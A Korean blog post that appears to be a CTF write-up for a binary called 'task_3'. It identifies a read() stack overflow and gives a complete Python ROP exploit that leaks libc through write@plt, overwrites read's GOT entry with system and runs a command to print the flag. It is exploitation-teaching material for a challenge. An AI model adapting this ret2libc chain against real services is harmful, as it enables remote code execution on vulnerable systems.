task_3

libc.so.6






문제는 되게 단순하다.

IDA를 통해 소스를 보면 친절하게도 함수 이름을 vulnerable로 해놓은 것을 볼 수 있다.





read() 함수를 통해 할당된 버퍼의 크기보다 더 많이 읽어들여 오버플로우 취약점이 존재하는 것을 알 수 있다.





ROP로 문제를 풀면 된다. 

lib.so.6 파일도 제공해주기 때문에 쉽게 문제를 풀 수 있다.





[ Exploit Code ]


from socket import *

from struct import *

from time import *


p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect(('138.201.98.45', 4000))


read_plt = 0x8048360

read_got = 0x804a000 

write_plt = 0x80483a0

offset = 0x9d8e0

bss = 0x804a020

pppr = 0x804855d

cmd = "cat flag>&1\00"


payload = ''

payload += "A"*136

payload += "B"*4


# bss 

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(bss)

payload += p(len(cmd))


# leak read_addr

payload += p(write_plt)

payload += p(pppr)

payload += p(1)

payload += p(read_got)

payload += p(4)


# read -> system

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(read_got)

payload += p(4)


# system

payload += p(read_plt)

payload += "AAAA"

payload += p(bss)


print "[*] payload = %d" % len(payload)

print "[*] send payload..."

s.send(payload)

s.send(cmd)


read_addr = up(s.recv(4))

system_addr = read_addr - offset

print "[*] read_addr = 0x%x" % read_addr

print "[*] system_addr = 0x%x" % system_addr

s.send(p(system_addr))

print s.recv(4096)



'CTF > etc.' 카테고리의 다른 글

[Plaid CTF 2015] EBP  (0) 2018.04.19
[TJCTF 2016] oneshot  (0) 2018.02.13
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10
[Plaid CTF 2013] ropasaurusrex  (0) 2016.10.21

+ Recent posts